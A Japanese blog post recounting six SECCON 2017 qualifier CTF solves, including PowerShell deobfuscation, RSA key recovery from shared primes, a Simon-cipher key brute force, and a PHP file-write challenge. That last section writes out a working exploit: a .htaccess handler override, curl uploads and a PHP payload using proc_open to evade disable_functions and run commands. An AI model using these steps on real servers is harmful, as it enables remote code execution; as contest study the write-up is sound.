SECCON 2017 オンライン予選が2017/12/09-10であったので見物がてら参加してました。 同大会に参加するの今回が初めてだったけどなんだかんだ楽しかったです。
チームでは13問、僕は6問解けたのでそのまとめ。
putchar music
問題を見る限り、Linuxで実行するとサウンドデバイスにPCMデータを直接書き込んで音楽が聞こえるらしい。
残念ながら手元にはWindowsマシンしかなかったけども、幸いWSL環境はあったのでとりあえずコンパイル。 実行して、ファイルにリダイレクト。適当にCtrl+Cしてとめる。ほっとくと無限にディスク食いつぶすので。
$ gcc music.c -lm $ ./a.out > bin ^C
Linuxだとリダイレクトで再生できるけど、残念ながらWindowsなのでとりあえずバイナリエディタで Waveヘッダをくっつける。
なんかよくわからんけど、バイナリダンプを見た感じ、8bit/モノラルに見えるからそれに合わせてヘッダをこんな感じで手書き。 何回か再生しながら、再生速度を感じ取って、8kHz/8bit/モノラルになるように適当に埋めた。
52 49 46 46 00 00 00 20 57 41 56 45 66 6D 74 20 10 00 00 00 01 00 01 00 00 20 00 00 00 20 00 00 01 00 08 00 64 61 74 61 .. .. .. .. .. .. .. ..
再生してみると、スターウォーズのテーマ曲が再生されるので、SECCON{STAR_WARS}
を入力しておしまい。
Qubic Rube
QRコードがルービックキューブになってる問題。 アクセスすると、各面にQRコードがついた立方体がWebGLでくるくるしてる。
たぶん自動で解くコードを作るのがいいんだろうけど、めんどくさかったので手作業で解く。
画像はimages/問題番号_{L,R,U,D,F,B}.png
に入っていて、その画像から次の問題URLを
獲得していって50個解けばフラグ獲得。
C#で画像をダウンロードして、9分割して、色ごとに分けるところまでは自動でするように。 そのあと、分割した画像を回転させて、QRコードを復元する部分を手動で解決。 回転ボタンを押すたびにZxingでコードを認識させて、そこに次のURLが入っていれば、 画像のリストを更新する。
というのを40回ぐらいやるとフラグが見つかる(10個ぐらいまではほかのメンバがやってくれてた)。
見つかったフラグSECCON{Thanks to Denso Wave for inventing the QR code}
を入力してクリア。
使ったコードはこれ。
Powerful Shell
PowerShellスクリプトを解析して答えを探す問題。
とりあえず、PowerShell ISEで実行してみると、
Debugging is prohibited
と出るのでそこを探すと、15113行目と、15559行目にデバッガつぶすコードがあるからコメントアウトした。
生成されたスクリプトを保存してみると、先頭に謎のホストチェック。とりあえずつぶす。 そのあと実行すると、ピアノが出てきて、secret melodyを演奏しろとでてくる。 secret melodyは、ララシララシラシドシラシラファ。曲目はさくらですね。
入力すると、next stageへ。 次もまたコードを動的生成して実行しているので、実行されているコードをリダイレクトでファイルに保存。 中身を見るとこんな難読化されたコードがでてくる。
${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;}; ${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;}; ${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]"; ${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]); ${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&${;}
とりあえずISEで実行。実行結果を見るとまだコードが動的生成されているのでもう1回リダイレクトして保存。 その中身は
[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]61+[CHar]82+[CHar]101+[CHar]97+[CHar]100+[CHa
こういう感じなので、[CHar]
を外して、文字コードだけにしたファイルにした。
$ for c in $(cat list); do printf "%02x" $c; done | xxd -r -ps
出てきたコードはこう。
$ECCON=Read-Host -Prompt 'Enter the password' If($ECCON -eq 'P0wEr$H311'){ Write-Host 'Good Job!'; Write-Host "SECCON{$ECCON}" }
実行せずともフラグはわかるので、SECCON{P0wEr$H311}
を入力して終わり。
Ps and Qs
ファイルを展開すると、cipher
, pub1.pub
, pub2.pub
の3ファイルが入ってる。
2個の公開鍵があると、秘密鍵が割り出せることがある、らしい。
fastgcd
というソリューションに2個公開鍵に含まれているN
の値を入れてあげると、
q1
, q2
が得られた。
from Crypto.PublicKey import RSA from Crypto.Util.number import inverse N = 0x00cfcfbbeea7df143a8ac208b1aa1d2f86545ac4cb588c94a3fb1c14ad91a4f0b936157c5a4b869c18a8b864f4726bf8fcdc020cb41042bac96784ab7d03f9374947efb0bc3d665831974340159ffc3db7c8e74b6390fda6eec30b81c6ff624e8d3f5b17bfb7a5c7ffd8ecf4e6518b393abefddd0faeba4308746ba63f8106b59d7e058943a00131a7d4e538c464b270577647edbc478cc1ce9585efe877305b3a7c2e7c44db5475eddadc345a2c90a946771cac0a454cdbcb461f2840e7613c83e9cecc94037fa09bb9daa3f180562c01df0be6c51f0c06e8f0e2d6e1a5e50d0a28c3881140770a9f45934146b7f359b939ce23f0fa507a6f4e454571430952003c20f1d97a67140b6e5fcbfb3b376e4e24969aeb1d489cfc72af4f15a4788a1aa97c89756d1d4d94aa47e7cd3a81aecb92448cc92c77d2ef576aa0dbc1350862accddaddbce80357f0cd5b854dd0f8c4627fe4b718b24ecfe11ed24c3be22f00643bbed4ee5e345af176e5b76d23a2f80e0ec6f34e5718c62a70fe5570c28b807b44f22eadebd9b5ff906f6a85be88c0c8f6e5f880a51f17f84db1c2eefea8af34040444ced1a37df0e4f5f72cc3f50b7e427c8c2d8b6186ead762f0c444b3ca3a0103ed12a93bce9cae7479a229ebbc0a648eaa6f97e5051a66eb09ebd7348e92f75f125ebdc367e2a7d1da7759d41fae2e2635bf4b7a7f91becab3ac7d05bd q = 0xe1b1e9fa3b5075f426eb220a9aa8d7a674219045ae500e0a45dc40b71ecd6ff56317efa5ada5d48d49a5e83d6f6042c35c5dd06d2a182cdd6d15f0588ab429b7a001943c7dd83a14818c172be911841ff4ce430646c0a3bb877d07a50306da67a02d3042edb1169740f7e30a1e3aed163afbb4ffed13b8ddd29b5567231026ca5c38994dd0920e04965625153e06140e03358b758f7d2d49e12e9eb246f6571505920cbeb1537d2996ea4453b5018348bbd6c80f5ebe640f97a8cc74b1c20ca6d33f96f0699b852bab50027f8bd704cf088ac6db47c7d6d8ed0416d0b61e9d7ebfb94e31bcc84368d37914af9539b8d30fe35bba367a64b278c3353fa0f24f45 p = N / q E = 0x10001 d = inverse(E, (p-1)*(q-1)) key = RSA.construct(map(long, (N, E, d))) print key.exportKey()
出来上がった鍵を使って、OpenSSLでデコードする。
$ openssl rsautl -decrypt -inkey priv.key -in cipher SECCON{1234567890ABCDEF}
Simon and Speck Block Ciphers
Simon暗号っていうのが使われてて、暗号鍵がフラグになっていて、4バイトの伏字を見つければOKみたい。
探してみると、Python向けのモジュールがGitHubにあった*1。 これを使って、適当にPython書いて、実行してあとは寝てました。
from simon import SimonCipher key = 0x534543434f4e7b202020207d target = 0xbb5d12ba422834b5 c = key for i in range(0x5e): for j in range(0x5e): for k in range(0x5e): for l in range(0x5e): simon = SimonCipher(c, key_size=96, block_size=64) msg = simon.encrypt(0x6d564d37426e6e71) if msg == target: print hex(c) c += 0x0100 c -= 0x005e00 c += 0x010000 c -= 0x005e0000 c += 0x01000000 c -= 0x005e000000 c += 0x0100000000
朝起きたら0x534543434f4e7b36507a307d
というのが出力されていました。
これをASCIIで読むとSECCON{6Pz0}
になるのでこれを入力してクリア。
automatic_door
PHPである程度任意のファイルが書き込めるので、/flag_x
を実行させることができれば
めでたくフラグゲット。という問題。
PHPファイルをみると、ファイル名にph
を含んでいる場合は書き込めないようになっている。
ここをどうにかするために.htaccess
を書き込んで適当なファイル、今回は.cgi
をPHP実行コードであることに変更する。
<FilesMatch \.cgi$> SetHandler application/x-httpd-php </FilesMatch>
これを、curlで.htaccess
としてなげつける。
$ curl -X POST -F "file=@htaccess" 'http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=write&filename=.htaccess'
これで.cgiをPHPとして実行できるようになったのでPHPをアップロードする。
<?php error_reporting(32767); print_r(scandir('/')); print_r(stat('/flag_x')); $process = proc_open('/flag_x', array(1 => array('pipe', 'w')), $pipes, '/', array()); echo stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($proces);
$ curl -X POST -F "file=@exec.cgi" 'http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=write&filename=exec.php'
この環境は、php.iniのdisable_functions
で次の関数が無効になっている。
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped, pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig, pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask, pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, exec,passthru,popen,shell_exec,system
しかし、proc_open系は無効になっていないのでそれを使って/flag_x
を実行する。
最後に保存先を確認してアクセス。
$ curl 'http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=pwd' sandbox/FAIL_3db4dcd5b68eb4195dd1084180e90ebee152956e/
PHPで出力されたフラグSECCON{f6c085facd0897b47f5f1d7687030ae7}
を入力すればおわり。
まとめ
ほかのメンバーが解いてくれたのは、Vigenere3d, Run me!, SHA-1 is dead, Log search, Theroy of Relativity, JPEG file。よく見ると、Pwnは全然解けてないし、なかなかひどい感じだった
初めてにしては結構楽しめたし、来年もまた参加してみたいですね。